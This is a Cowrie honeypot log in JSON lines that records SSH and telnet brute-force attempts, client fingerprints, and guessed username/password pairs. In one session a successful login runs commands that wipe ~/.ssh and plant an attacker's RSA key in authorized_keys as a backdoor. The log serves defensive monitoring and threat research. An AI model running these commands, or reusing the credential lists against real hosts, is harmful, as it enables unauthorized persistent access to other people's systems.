{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:12.365800Z","src_ip":"36.92.140.209","session":"d362365d3294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:12.641012Z","src_ip":"36.92.140.209","session":"d362365d3294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak3","message":"login attempt [teamspeak/teamspeak3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:13.762311Z","src_ip":"36.92.140.209","session":"d362365d3294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:15.037951Z","src_ip":"36.92.140.209","session":"d362365d3294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.413413763046265,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:24.059072Z","src_ip":"69.65.3.189","session":"06a031698dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.6151065826416,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:33.260013Z","src_ip":"69.65.3.189","session":"a2364eb1174d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":47082,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aaf9484e18f","protocol":"ssh","message":"New connection: 43.162.98.118:47082 (159.203.135.109:22) [session: 4aaf9484e18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:59.587938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:59.594121Z","src_ip":"43.162.98.118","session":"4aaf9484e18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:59.661817Z","src_ip":"43.162.98.118","session":"4aaf9484e18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"1","message":"login attempt [admin123/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:59.980884Z","src_ip":"43.162.98.118","session":"4aaf9484e18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:01.051799Z","src_ip":"43.162.98.118","session":"4aaf9484e18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":54618,"dst_ip":"159.203.135.109","dst_port":22,"session":"65570e45d8be","protocol":"ssh","message":"New connection: 36.92.140.209:54618 (159.203.135.109:22) [session: 65570e45d8be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:10.937922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:10.943758Z","src_ip":"36.92.140.209","session":"65570e45d8be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:11.229544Z","src_ip":"36.92.140.209","session":"65570e45d8be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@321","message":"login attempt [ubuntu/ubuntu@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:12.401855Z","src_ip":"36.92.140.209","session":"65570e45d8be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:13.690482Z","src_ip":"36.92.140.209","session":"65570e45d8be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":45020,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f64cac47b6e","protocol":"telnet","message":"New connection: 103.115.172.252:45020 (10.17.0.5:23) [session: 9f64cac47b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:27.233687Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":42836,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9a1ccb03d09","protocol":"ssh","message":"New connection: 187.16.96.250:42836 (159.203.135.109:22) [session: a9a1ccb03d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:43.949815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:43.955128Z","src_ip":"187.16.96.250","session":"a9a1ccb03d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:44.071668Z","src_ip":"187.16.96.250","session":"a9a1ccb03d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test5","password":"123","message":"login attempt [test5/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:44.570932Z","src_ip":"187.16.96.250","session":"a9a1ccb03d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:45.690400Z","src_ip":"187.16.96.250","session":"a9a1ccb03d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":54814,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ad2cb976792","protocol":"ssh","message":"New connection: 43.162.98.118:54814 (159.203.135.109:22) [session: 5ad2cb976792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.363179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.368556Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.436833Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123.0","message":"login attempt [admin/admin123.0] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.742128Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.917568Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.921081Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.925213Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:49.996500Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.174015Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.177689Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.251488Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.255462Z","src_ip":"43.162.98.118","session":"5ad2cb976792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":54826,"dst_ip":"159.203.135.109","dst_port":22,"session":"6400bbc4ac1c","protocol":"ssh","message":"New connection: 43.162.98.118:54826 (159.203.135.109:22) [session: 6400bbc4ac1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.316114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.320728Z","src_ip":"43.162.98.118","session":"6400bbc4ac1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.388749Z","src_ip":"43.162.98.118","session":"6400bbc4ac1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34358,"dst_ip":"10.17.0.5","dst_port":22,"session":"45565118c3e7","protocol":"ssh","message":"New connection: 80.94.92.184:34358 (10.17.0.5:22) [session: 45565118c3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.645323Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.696194Z","src_ip":"43.162.98.118","session":"6400bbc4ac1c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.710744Z","src_ip":"80.94.92.184","session":"45565118c3e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:50.852695Z","src_ip":"80.94.92.184","session":"45565118c3e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:27:51.248100Z","src_ip":"80.94.92.184","session":"45565118c3e7","protocol":"ssh"}
